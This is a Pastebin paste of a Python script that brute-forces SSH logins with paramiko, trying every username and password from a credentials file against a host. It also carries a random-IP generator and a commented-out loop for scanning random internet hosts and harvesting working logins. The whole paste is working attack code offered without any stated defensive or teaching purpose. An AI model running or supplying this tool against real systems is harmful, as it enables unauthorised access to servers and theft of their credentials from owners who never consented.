Advertisement
Guest User

Untitled

a guest
Jan 29th, 2019
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import json
  3. import random
  4. import socket
  5. import paramiko
  6. from contextlib import contextmanager
  7.  
  8. import inspect
  9. import os
  10.  
  11. BASE_DIR = os.path.dirname(os.path.abspath(
  12. inspect.getfile(inspect.currentframe())))
  13.  
  14. with open(BASE_DIR + '/credentials.json') as json_data:
  15. credentials = json.load(json_data)
  16.  
  17.  
  18. def try_login(client, ip, username, password):
  19. success = True
  20.  
  21. try:
  22. client.connect(ip, username=username,
  23. password=password, timeout=1)
  24. except paramiko.AuthenticationException as e:
  25. print(" {}".format(e))
  26. success = False
  27. except (socket.timeout, paramiko.ssh_exception.NoValidConnectionsError) as e:
  28. print(" {}".format(e))
  29. success = "Never"
  30. except:
  31. print(" Unkown error")
  32. # Others unknown error.
  33. success = "Never"
  34. finally:
  35. client.close()
  36.  
  37. return success
  38.  
  39.  
  40. def bruteforce(client, ip):
  41. print("{}:".format(ip))
  42. for username in credentials['usernames']:
  43. for password in credentials['passwords']:
  44. print(" {}:{}".format(username, password))
  45. attempt = try_login(client, ip, username, password)
  46. if attempt == "Never":
  47. break
  48. elif attempt == True:
  49. return (ip, username, password)
  50. elif attempt == False:
  51. continue
  52. else:
  53. continue
  54. break
  55. return False
  56.  
  57.  
  58. def make_ip():
  59. template = "{}.{}.{}.{}"
  60. return template.format(random_byte(1), random_byte(0),
  61. random_byte(0), random_byte(0))
  62.  
  63.  
  64. def random_byte(frm):
  65. return random.randint(0, 255)
  66.  
  67.  
  68. client = paramiko.SSHClient()
  69. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  70.  
  71. # creds = []
  72. # while True:
  73. # ip = make_ip()
  74. # cred = bruteforce(client, ip)
  75.  
  76. # if cred == None:
  77. # continue
  78.  
  79. # creds.append(cred)
  80.  
  81. print(bruteforce(client, "192.168.222.102"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement